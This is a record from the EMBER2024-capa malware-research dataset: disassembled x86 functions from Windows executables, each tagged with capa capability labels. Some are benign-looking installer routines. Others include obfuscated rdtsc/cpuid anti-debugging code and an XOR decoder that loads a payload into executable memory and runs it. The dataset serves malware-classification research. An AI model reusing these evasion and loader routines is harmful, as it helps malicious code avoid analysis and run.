joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40eec8
Capabilities:
Hide graphical window

Disassembly:
mov al, byte [esp + 0x14]
sub esp, 0x10
push ebx
push ebp
mov ebp, dword [esp + 0x20]
mov ebx, ecx
push esi
push 0
push ebp
mov dword [ebx + 8], ebp
mov byte [ebx + 0x26], al
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [esp + 0x20]
mov ecx, ebx
call fcn.0040ebe4
cmp dword [ebx + 0x1c], 0
je 0x40ef01
push dword [ebx + 0x1c]
call fcn.00418b2e
pop ecx
cmp dword [esp + 0x28], 0
jne 0x40ef0c
xor eax, eax
jmp 0x40ef16
push dword [esp + 0x28]
call fcn.0041c666
pop ecx
cmp dword [esp + 0x2c], 0
mov dword [ebx + 0x1c], eax
jne 0x40ef24
xor eax, eax
jmp 0x40ef2e
push dword [esp + 0x2c]
call fcn.0041c666
pop ecx
mov dword [ebx + 0x20], eax
lea eax, [esp + 0xc]
push eax
push ebp
call dword [sym.imp.USER32.dll_GetWindowRect]
push 2
lea eax, [esp + 0x10]
push eax
push ebp
call dword [sym.imp.USER32.dll_GetParent]
push eax
push 0
call dword [sym.imp.USER32.dll_MapWindowPoints]
cmp dword [ebx + 4], 0
je 0x40ef63
push dword [ebx + 4]
call dword [sym.imp.USER32.dll_DestroyWindow]
mov eax, dword [esp + 0xc]
mov esi, dword [esp + 0x14]
push edi
push ebx
push dword [ebx]
sub esi, eax
lea edi, [eax + 1]
push 0
push ebp
sub esi, 2
call dword [sym.imp.USER32.dll_GetParent]
push eax
mov eax, dword [esp + 0x2c]
sub eax, dword [esp + 0x24]
push eax
push esi
push dword [esp + 0x2c]
xor esi, esi
push edi
push 0x40000000
push esi
push 0x4291f0
push esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [ebx + 4], eax
pop edi
cmp dword [ebx + 0x10], esi
jne 0x40efe5
test ebp, ebp
je 0x40effb
cmp dword [ebx + 0x20], esi
jne 0x40effb
cmp dword [ebx + 0x1c], esi
je 0x40effb
push dword [ebx + 0x1c]
mov ecx, ebx
call fcn.0040ecdc
mov esi, eax
test esi, esi
je 0x40effb
push 5
push ebp
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
push ebp
call dword [sym.imp.USER32.dll_SetWindowTextW]
push esi
call fcn.00418b2e
pop ecx
jmp 0x40effb
test eax, eax
je 0x40effb
push 5
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [ebx + 4]
call dword [sym.imp.USER32.dll_UpdateWindow]
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 0x14
Function at 0x40f47c
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push 0x42a0ac
push 1
push ebx
push 0x42a19c
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x40f5b1
mov eax, dword [ebp - 4]
lea ecx, [ebp - 8]
push esi
push ecx
push 0x42a18c
mov esi, dword [eax]
push eax
mov ecx, dword [esi]
call dword [0x428220]
call dword [esi]
test eax, eax
js 0x40f59d
cmp byte [ebp + 8], bl
je 0x40f4e2
mov eax, dword [ebp - 8]
push 2
push dword [ebp + 0x10]
mov ecx, dword [eax]
push eax
mov esi, dword [ecx + 0x14]
mov ecx, esi
call dword [0x428220]
call esi
mov eax, dword [ebp - 4]
push dword [ebp + 0xc]
push eax
mov ecx, dword [eax]
mov esi, dword [ecx + 0x50]
mov ecx, esi
call dword [0x428220]
call esi
cmp dword [ebp + 0x18], ebx
je 0x40f513
mov eax, dword [ebp - 4]
push dword [ebp + 0x18]
push eax
mov ecx, dword [eax]
mov esi, dword [ecx + 0x1c]
mov ecx, esi
call dword [0x428220]
call esi
mov eax, dword [ebp - 4]
push ebx
mov ecx, dword [eax]
mov esi, dword [ecx + 0x44]
mov ecx, esi
cmp dword [ebp + 0x1c], ebx
jne 0x40f52a
push 0x428544
jmp 0x40f52d
push dword [ebp + 0x1c]
push eax
call dword [0x428220]
call esi
cmp dword [ebp + 0x20], ebx
je 0x40f551
mov eax, dword [ebp - 4]
push dword [ebp + 0x20]
push eax
mov ecx, dword [eax]
mov esi, dword [ecx + 0x2c]
mov ecx, esi
call dword [0x428220]
call esi
cmp dword [ebp + 0x14], ebx
je 0x40f56c
mov eax, dword [ebp - 4]
push dword [ebp + 0x14]
push eax
mov ecx, dword [eax]
mov esi, dword [ecx + 0x24]
mov ecx, esi
call dword [0x428220]
call esi
mov eax, dword [ebp - 8]
push 1
push dword [ebp + 0x10]
mov ecx, dword [eax]
push eax
mov esi, dword [ecx + 0x18]
mov ecx, esi
call dword [0x428220]
call esi
test eax, eax
js 0x40f58a
mov bl, 1
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
mov esi, dword [ecx + 8]
mov ecx, esi
call dword [0x428220]
call esi
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ecx]
mov esi, dword [edx + 8]
mov ecx, esi
call dword [0x428220]
call esi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret 0x1c

Function at 0x40f644
Capabilities:
Get common file path

Disassembly:
push dword [esp + 4]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
neg eax
sbb eax, eax
neg eax
ret 8
Function at 0x40f6bc
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ecx
push ecx
push esi
push 0x429404
push dword [esp + 0x14]
push dword [0x44da4c]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
je 0x40f7cf
push edi
push esi
push dword [0x44da4c]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test edi, edi
je 0x40f710
push esi
push dword [0x44da4c]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x40f710
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
jne 0x40f717
xor eax, eax
jmp 0x40f7ce
push ebx
push ebp
push edi
xor ebp, ebp
push 2
mov dword [esp + 0x1c], ebp
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x40f7c8
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
je 0x40f7c1
push edi
push esi
push eax
call fcn.00415100
add esp, 0xc
mov dword [esp + 0x10], ebp
lea eax, [esp + 0x10]
push eax
push ebp
push ebx
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
test eax, eax
jne 0x40f7ba
push ebp
push dword [esp + 0x14]
call fcn.0040f61b
mov ecx, dword [esp + 0x10]
mov edi, eax
push ecx
mov edx, dword [ecx]
mov esi, dword [edx + 8]
mov ecx, esi
call dword [0x428220]
call esi
test edi, edi
je 0x40f7ba
mov eax, dword [edi + 8]
mov dword [edi + 8], ebp
test eax, eax
jne 0x40f7a8
push 0xffffff
lea eax, [esp + 0x18]
push eax
push dword [edi + 4]
call sub.gdiplus.dll_GdipCreateHBITMAPFromBitmap
test eax, eax
je 0x40f7a8
mov dword [edi + 8], eax
mov eax, dword [edi]
push 1
mov esi, dword [eax]
mov ecx, esi
call dword [0x428220]
mov ecx, edi
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [esp + 0x14]
pop ebp
pop ebx
pop edi
pop esi
pop ecx
pop ecx
ret 4

Function at 0x40fd20
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1024
call fcn.00413850
cmp word [0x44ea6a], 0
je 0x40fdbc
push esi
push 6
push dword [0x4324e8]
mov esi, 0x44ea6a
push esi
call fcn.004037c8
push eax
call fcn.00407cdc
test eax, eax
jne 0x40fdbb
push 0x44da68
call fcn.0040fbc2
push 0x800
push esi
lea eax, [ebp - 0x1024]
push eax
call fcn.0040685f
lea eax, [ebp - 0x1024]
push eax
call fcn.00418b13
xor ecx, ecx
push 0x1e
push ecx
mov word [ebp + eax*2 - 0x1022], cx
lea eax, [ebp - 0x20]
push eax
call fcn.004148e0
add esp, 0x10
mov dword [ebp - 0x1c], 3
push 0x14
pop eax
mov word [ebp - 0x10], ax
lea eax, [ebp - 0x1024]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40fe18
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
cmp dword [0x432500], 0
push ebx
push esi
push edi
mov ebx, 0x400
jne 0x40fe63
push 0x64
lea eax, [ebp - 0x12c]
push eax
push 0xf
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov ax, word [ebp - 0x12c]
mov word [0x464320], ax
xor eax, eax
mov word [0x464322], ax
mov dword [0x432500], 0x464320
push 0x32
lea eax, [ebp - 0x64]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040672e
mov edi, dword [ebp + 0x10]
xor eax, eax
mov esi, dword [ebp + 0x14]
push esi
push edi
push 0x4324f0
mov word [edi], ax
lea eax, [ebp - 0x64]
push eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
xor eax, eax
mov word [edi + esi*2 - 2], ax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x40ff9f
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x200c
call fcn.00413850
cmp byte [0x44fa70], 0
je 0x41004d
push 0x800
lea eax, [ebp - 0x200c]
push eax
push dword [ebp + 8]
call fcn.00411470
lea eax, [ebp - 8]
push eax
push 1
push 0
push str.SoftwareWinRAR_SFX
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41004d
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x1000
push eax
lea eax, [ebp - 0x100c]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
lea eax, [ebp - 0x200c]
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x410044
mov eax, dword [ebp - 4]
mov ecx, 0x7ff
shr eax, 1
mov dword [ebp - 4], eax
cmp eax, ecx
jb 0x410028
mov eax, ecx
push dword [ebp + 0xc]
xor ecx, ecx
mov word [ebp + eax*2 - 0x100c], cx
lea eax, [ebp - 0x100c]
push eax
push dword [ebp + 8]
call fcn.0040685f
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret 8
Function at 0x410106
Capabilities:
Query environment variable

Disassembly:
mov eax, 0x2004
call fcn.00413850
mov ecx, dword [esp + 0x2014]
push ebx
xor ebx, ebx
push esi
test ecx, ecx
je 0x410121
mov byte [ecx], bl
mov edx, dword [esp + 0x2020]
test edx, edx
je 0x41012e
mov byte [edx], bl
mov esi, dword [esp + 0x2010]
test esi, esi
je 0x4101f1
movzx eax, word [esi]
test ax, ax
je 0x4101f1
push ebp
mov ebp, dword [esp + 0x2018]
push edi
mov edi, dword [esp + 0x2020]
mov dword [esp + 0x10], ebx
movzx eax, ax
add esi, 2
cmp eax, 0x3d
jne 0x41017b
test edi, edi
je 0x410185
test ebx, ebx
jne 0x410185
test ecx, ecx
je 0x410177
mov byte [ecx], 1
mov ebx, ebp
jmp 0x41019c
cmp eax, 0xd
je 0x4101af
cmp eax, 0xa
je 0x4101b2
mov word [ebp], ax
add ebp, 2
mov eax, dword [esp + 0x202c]
add eax, 0xfffffffe
cmp dword [esp + 0x10], eax
jge 0x4101aa
movzx eax, word [esi]
inc dword [esp + 0x10]
test ax, ax
jne 0x41015d
jmp 0x4101b2
mov byte [edx], 1
jmp 0x4101b2
add esi, 2
xor eax, eax
mov word [ebp], ax
test edi, edi
je 0x4101eb
mov word [edi], ax
test ebx, ebx
je 0x4101eb
push 0x1000
lea eax, [esp + 0x18]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push dword [esp + 0x202c]
lea eax, [esp + 0x18]
push eax
push edi
call fcn.0040685f
xor eax, eax
mov word [ebx], ax
pop edi
mov eax, esi
pop ebp
jmp 0x4101f3
xor eax, eax
pop esi
pop ebx
add esp, 0x2004
ret 0x18

Function at 0x4101fe
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
lea eax, [ebp - 8]
push eax
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
lea eax, [ebp - 4]
push eax
xor eax, eax
push eax
push eax
push dword [ebp + 0xc]
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderLocation]
mov ebx, eax
neg ebx
sbb bl, bl
add bl, 1
je 0x410259
push esi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
push dword [ebp - 4]
dec eax
neg eax
sbb al, al
lea ebx, [eax + 1]
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
mov esi, dword [ecx + 0x14]
mov ecx, esi
call dword [0x428220]
call esi
pop esi
jmp 0x410261
mov eax, dword [ebp + 8]
xor ecx, ecx
mov word [eax], cx
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x412753
Capabilities:
Hide graphical window

Disassembly:
and dword [0x44da54], 0
push 1
push dword [esp + 8]
mov byte [0x44da49], 1
mov byte [0x44da4a], 1
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 2
push dword [esp + 0xc]
call fcn.00401197
cmp dword [0x44da34], 0
jne 0x412793
cmp byte [0x44da63], 0
je 0x41279c
cmp dword [0x44da5c], 0
jne 0x4127af
push 0
push 1
push 0x111
push dword [esp + 0x10]
call dword [sym.imp.USER32.dll_SendMessageW]
ret 4

Function at 0x412882
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1008
call fcn.00413850
cmp byte [0x44fa70], 0
je 0x412911
cmp word [0x44fa72], 0
je 0x412911
push esi
push 0x800
lea eax, [ebp - 0x1008]
push eax
push 0x44fa72
call fcn.00411470
lea eax, [ebp - 8]
xor esi, esi
push eax
lea eax, [ebp - 4]
push eax
push esi
push 0x20006
push esi
push esi
push esi
push str.SoftwareWinRAR_SFX
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x412910
push dword [ebp + 8]
call fcn.00418b13
pop ecx
lea eax, [eax*2 + 2]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x1008]
push 1
push esi
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x412917
Capabilities:
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2000
call fcn.00413850
push esi
push dword [ebp + 8]
push str.sfxcmd
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push 0x1000
lea eax, [ebp - 0x2000]
push eax
push dword [ebp + 8]
call fcn.004065a3
mov esi, eax
test esi, esi
je 0x41296f
movzx ecx, word [esi]
push ecx
jmp 0x41295a
add esi, 2
movzx eax, word [esi]
push eax
call fcn.004066bc
test al, al
jne 0x412953
push esi
push str.sfxpar
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x6f75dd
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0x8a6ff3
sub esp, 4
mov dword [esp], ebp
push eax
mov eax, 0x58e6411d
mov dword [esp + 4], eax
pop eax
mov dword [esp], eax
pop dword [ebp - 0x14]
jmp 0x8837ca
jmp 0x97079d
jmp 0x88e388
push esi
mov esi, esp
add esi, 4
sub esp, 4
mov dword [esp], ecx
mov ecx, 4
sub esi, ecx
pop ecx
xchg dword [esp], esi
mov esp, dword [esp]
mov dword [esp], ebx
jmp 0x88e458
jmp 0x97f879
jmp 0x88e567
pop ecx
mov dword [esp], edx
jmp 0x88e57b
push ecx
mov dword [esp], edi
push ecx
push 0x72555206
pop ecx
mov dword [esp + 4], ecx
jmp 0x88e55e
jmp 0x92499b
jmp 0x8a7044
sub esp, 4
mov dword [esp], ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xor ebx, dword [esp]
xor dword [esp], ebx
xor ebx, dword [esp]
mov esp, dword [esp]
mov dword [esp], ebp
jmp 0x8a711b
jmp 0x902cc0
push edi
mov edi, esp
add edi, 4
push ecx
mov ecx, 0x14
add edi, 0x75ff2d5e
sub edi, ecx
sub edi, 0x75ff2d5e
pop ecx
xor edi, dword [esp]
xor dword [esp], edi
xor edi, dword [esp]
mov esp, dword [esp]
jmp 0x8c39cc
jmp 0x88e336
jmp 0x8c3b79
rdtsc
jmp 0x8c3bc4
jmp 0x92886c
push dword [ebp - 0xc]
mov eax, dword [esp]
push ebp
jmp 0x8c52a9
push ebx
mov dword [esp], esi
mov dword [esp], edi
mov dword [esp], ecx
mov dword [esp], 0
pop eax
jmp 0x8c5374
jmp 0x96a27d
jmp 0x8d49ec
push ebx
mov ebx, esp
add ebx, 4
push esi
mov dword [esp], eax
mov eax, 0x66f94edf
not eax
sub eax, 0x9906b11c
sub ebx, eax
pop eax
xchg dword [esp], ebx
pop esp
mov dword [esp], edx
pop dword [ebp - 8]
jmp 0x8d4abf
jmp 0x8c5109
cpuid
jmp 0x8d4fa7
jmp 0x8c3acd
jmp 0x902d17
push esp
push dword [esp]
pop ebp
push ebp
mov ebp, esp
add ebp, 4
push edx
mov edx, 4
add ebp, edx
pop edx
xchg dword [esp], ebp
pop esp
jmp 0x902dd1
jmp 0x8c38c0
cpuid
jmp 0x90542d
jmp 0x944789
jmp 0x924a3b
rdtsc
jmp 0x924a98
jmp 0x88369a
jmp 0x9288d2
push eax
push esi
mov esi, 0x13d32e69
mov dword [esp + 4], esi
pop esi
mov dword [esp], edi
mov dword [esp], eax
pop dword [ebp - 0xc]
jmp 0x9289ab
jmp 0x8d499a
push 0
push dword [esp]
pop eax
push edx
mov edx, esp
add edx, 4
add edx, 4
xor edx, dword [esp]
xor dword [esp], edx
jmp 0x94485b
xor edx, dword [esp]
pop esp
jmp 0x9448bc
jmp 0x97f1d1
jmp 0x96a332
cpuid
jmp 0x96a38d
jmp 0x96cfeb
jmp 0x96d095
push ecx
mov dword [esp], 0
push dword [esp]
mov eax, dword [esp]
add esp, 4
add esp, 4
jmp 0x96d101
jmp 0x8d4eab
sub esp, 4
mov dword [esp], ebp
mov dword [esp], ecx
mov dword [esp], edx
pop dword [ebp - 0x10]
jmp 0x9708a8
jmp 0x971094
push eax
mov dword [esp], 0
mov eax, dword [esp]
push eax
mov eax, esp
push ebp
mov ebp, 4
add eax, ebp
pop ebp
add eax, 4
jmp 0x971148
xchg dword [esp], eax
pop esp
jmp 0x9711b0
jmp 0x905339
jmp 0x97f289
cpuid
jmp 0x97f2e4
jmp 0x8c5241
jmp 0x97f973
push ebx
mov ebx, esp
push ebp
push 0x6abe638d
pop ebp
add ebp, 0x7bffbd2f
jp 0x97f98e
jmp 0x97f997
pop esp
mov dword [esp], ecx
jmp 0x97f9b2
inc ebp
push esi
mov esi, 0xe6be20b9
xor ebp, esi
pop esi
add ebx, ebp
pop ebp
sub ebx, 4
xchg dword [esp], ebx
jmp 0x97f98e
jmp 0x88e45d
Function at 0x1001b592
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x1001b5a1
pop dword [ebp - 0x40]
mov eax, 0x9f6a8bdb
add eax, 0x709729c6
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0xf45e1232
sub dword [ebp - 0x50], 0xa60bcce7
mov dword [ebp - 0x4c], 0xabd7ca28
add dword [ebp - 0x4c], 0x865b821d
mov dword [ebp - 0x48], 0xbc2067a6
sub dword [ebp - 0x48], 0x6fd42378
mov dword [ebp - 0x44], 0x516600da
sub dword [ebp - 0x44], 0x516600da
lea eax, [ebp - 0x50]
push eax
mov eax, 0xb16ae500
add eax, 0x5e976b50
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0xb8a28f4f
sub dword [ebp - 0x50], 0x443025f9
mov dword [ebp - 0x4c], 0x287ba9b1
sub dword [ebp - 0x4c], 0xe70f483c
mov dword [ebp - 0x48], 0x30b07a14
add dword [ebp - 0x48], 0x32bef258
mov dword [ebp - 0x44], 0x2e18f8e0
sub dword [ebp - 0x44], 0x2e18f8e0
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x3fe15
push 0
call eax
mov ecx, 0x48171b3b
add ecx, 0xb7e934f1
mov edi, eax
mov edx, 0x99bea894
sub edx, 0x89bb4e94
add edx, dword [ebp - 0x40]
mov esi, 0x3a7f6e67
sub esi, 0xa442ad29
add dword [ebp - 0x34], 0xccc8cd00
mov ebx, dword [edx]
sub dword [ebp - 0x30], ecx
xor ebx, esi
sub dword [ebp - 0x30], 0xf6b4027f
mov dword [edi], ebx
add dword [ebp - 0x28], 0xc18c58b
add edi, 0x35c16747
sub edi, 0x35c16743
add edx, 4
loop 0x1001b6be
add eax, 0x490b53f7
sub eax, 0x490a2074
xor ebx, ebx
add ebx, eax
add eax, 0xb3cc171a
add eax, 0x4c33e8eb
mov ecx, 0x10000000
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x40e5c0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 4
lea eax, [esp]
push ebx
mov dword [esp + 4], 0x16
push eax
push 0x465fb8
push 0
push 0
push str.Controls
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
pop ebx
add esp, 4
ret

Function at 0x40e5f0
Capabilities:
Get keyboard layout

Disassembly:
sub esp, 0xc
lea eax, [esp]
push ebx
push esi
push edi
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayoutNameA]
lea ecx, [esp + 0xc]
push 0x10
push 0
push ecx
call fcn.004562e0
add esp, 0xc
and eax, 0x3ff
sub eax, 7
cmp eax, 9
ja case.0x40e627.12
xor ecx, ecx
mov cl, byte [eax + 0x40e684]
jmp dword [ecx*4 + 0x40e66c]
mov esi, 0x465fe8
jmp 0x40e656
mov esi, 0x4660f0
jmp 0x40e656
mov esi, 0x466408
jmp 0x40e656
mov esi, 0x466510
jmp 0x40e656
mov esi, 0x4661f8
jmp 0x40e656
mov esi, 0x466300
mov edi, 0x4c5d90
mov ecx, 0x40
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
pop ebx
add esp, 0xc
ret

Function at 0x40e690
Capabilities:
Set registry value

Disassembly:
mov eax, dword [ecx + 8]
sub eax, 0xa0
cmp eax, 2
nop
lea ecx, [eax*2 + 0x465fb8]
jl 0x40e6aa
cmp eax, 3
jle 0x40e6b9
call fcn.0040e760
call fcn.0040e6d0
jmp fcn.0040e710
call fcn.0040fc70
call fcn.0040e6d0
jmp fcn.0040e710
Function at 0x442330
Capabilities:
Send data
Send data on socket
Set socket configuration

Disassembly:
sub esp, 0xc
mov dword [esp + 8], 1
push esi
push edi
mov edi, edx
mov esi, ecx
mov ecx, dword [0x46e108]
cmp ecx, 0xffffffff
jne 0x442497
mov eax, dword [0x46c4cc]
mov ecx, 0x49bd98
cmp eax, 0x185
jne 0x442393
xor eax, eax
push 0x1b53
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
call sub.WSOCK32.dll_htons
and eax, 0xffff
lea ecx, [esp + 8]
lea edx, [esp + 0xc]
push eax
push ecx
mov ecx, 0x49bd98
call fcn.00441c90
jmp 0x4423c4
xor eax, eax
push 0x42ff
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov word [ecx + 0xc], ax
call sub.WSOCK32.dll_htons
and eax, 0xffff
lea ecx, [esp + 8]
lea edx, [esp + 0xc]
push eax
push ecx
mov ecx, 0x49bd98
call fcn.00441cd0
mov ecx, dword [esp + 0xc]
mov dword [0x49bd90], eax
mov eax, dword [esp + 8]
push eax
push 2
push ecx
call sub.WSOCK32.dll_socket
mov dword [0x46e108], eax
cmp eax, 0xffffffff
jne 0x4423ec
xor al, al
pop edi
pop esi
add esp, 0xc
ret
mov ecx, dword [0x49bd90]
mov dword [0x46e108], eax
push ecx
push 0x49bd98
push eax
call sub.WSOCK32.dll_bind
mov dword [0x49bd78], eax
cmp eax, 0xffffffff
jne 0x442415
xor al, al
pop edi
pop esi
add esp, 0xc
ret
mov eax, dword [0x46c4cc]
cmp eax, 0x185
jne 0x442439
push 0xffffffffffffffff
call sub.WSOCK32.dll_htonl
mov dword [0x49bd20], 0
mov dword [0x49bd9c], eax
jmp 0x442465
push 4
mov edx, str.00000000
mov ecx, 0x49bd9a
call fcn.00441a50
push 6
mov edx, str.FFFFFFFFFFFF
mov ecx, 0x49bd9e
call fcn.00441a50
mov dword [0x49bd20], 4
lea eax, [esp + 0x10]
push 4
push eax
mov ecx, dword [0x46e108]
push 0x20
push 0xffff
push ecx
call sub.WSOCK32.dll_setsockopt
mov ecx, dword [0x46e108]
mov dword [0x49bd78], eax
cmp eax, 0xffffffff
jne 0x442497
xor al, al
pop edi
pop esi
add esp, 0xc
ret
mov eax, dword [0x49bd90]
mov edx, dword [0x49bd20]
push eax
push 0x49bd98
push edx
push edi
push esi
push ecx
call sub.WSOCK32.dll_sendto
pop edi
mov dword [0x49bd78], eax
pop esi
cmp eax, 0xffffffff
setne cl
mov al, cl
add esp, 0xc
ret

Function at 0x4426c0
Capabilities:
Get hostname
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push edi
push eax
push 0x101
call sub.WSOCK32.dll_WSAStartup
mov dword [0x49bd78], eax
test eax, eax
je 0x442738
cmp eax, 0x2726
je 0x4426fb
cmp eax, 0x276b
je 0x442702
cmp eax, 0x276c
je 0x442709
mov ecx, 0x1bb
jmp 0x44270e
mov ecx, 0x1bf
jmp 0x44270e
mov ecx, 0x1bd
jmp 0x44270e
mov ecx, 0x1be
mov eax, dword [0x49bd78]
mov edx, dword [0x475378]
push eax
nop
mov eax, dword [edx + 0x6f0]
mov ecx, dword [edx + ecx*4]
push ecx
push eax
call fcn.00443120
add esp, 0xc
xor al, al
pop edi
add esp, 0x190
ret
mov edi, 0x49bd00
mov eax, 0xffffffff
mov ecx, 8
push 0x50
rep stosd dword es:[edi], eax
mov byte [0x46e10c], 1
push 0x4c1220
call sub.WSOCK32.dll_gethostname
mov al, 1
pop edi
add esp, 0x190
ret
Function at 0x44c440
Capabilities:
Read file on windows

Disassembly:
sub esp, 0xe8
mov al, byte [0x475380]
push ebx
push esi
push edi
mov esi, ecx
push ebp
xor ebx, ebx
cmp al, 1
sbb eax, eax
and eax, 0xfffffe98
add eax, 0x2d0
cdq
mov dword [0x49e644], eax
sub eax, edx
sar eax, 1
mov dword [0x49e650], eax
dec eax
mov ebp, dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x49e648], eax
mov eax, dword [0x49e644]
imul eax, dword [0x4b7ec8]
push eax
push 0x40
call ebp
mov dword [esp + 0x14], eax
test eax, eax
je 0x44c5bb
mov ecx, esi
call fcn.0044c420
mov dword [esp + 0x18], eax
cmp eax, 0xffffffff
je 0x44c5ae
lea eax, [esp + 0x1c]
push ebx
mov ecx, dword [esp + 0x18]
push eax
mov eax, dword [0x49e644]
mov edx, dword [esp + 0x20]
imul eax, dword [0x4b7ec8]
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x44c5a1
lea edx, [esp + 0x20]
mov ecx, dword [0x475418]
call fcn.0041e060
test al, al
je 0x44c5a1
lea edx, [esp + 0x8c]
mov ecx, dword [0x47541c]
call fcn.0041e060
test al, al
je 0x44c591
mov eax, dword [esp + 0x44]
mov edx, dword [esp + 0xb0]
mov ebp, dword [esp + 0x14]
mov ecx, dword [0x4b7ec8]
cmp ecx, ebx
jle 0x44c57c
mov ecx, dword [0x49e650]
mov edi, eax
mov esi, ebp
inc ebx
mov dword [esp + 0x10], ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x10]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x30]
mov ecx, dword [0x49e650]
add eax, esi
add ebp, ecx
mov edi, edx
mov esi, ebp
mov dword [esp + 0x10], ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x10]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x9c]
mov ecx, dword [0x49e650]
add edx, edi
add ebp, ecx
cmp ebx, dword [0x4b7ec8]
jl 0x44c522
mov ebx, 1
push 0
mov eax, dword [0x47541c]
push eax
mov ebp, dword [eax]
call dword [ebp + pe_nt_image_headers32]
push 0
mov eax, dword [0x475418]
push eax
mov ebp, dword [eax]
call dword [ebp + pe_nt_image_headers32]
mov eax, dword [esp + 0x18]
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call ebp
mov eax, dword [esp + 0x14]
mov ebp, dword [sym.imp.KERNEL32.dll_LocalFree]
push eax
call ebp
mov eax, ebx
pop ebp
pop edi
pop esi
pop ebx
add esp, 0xe8
ret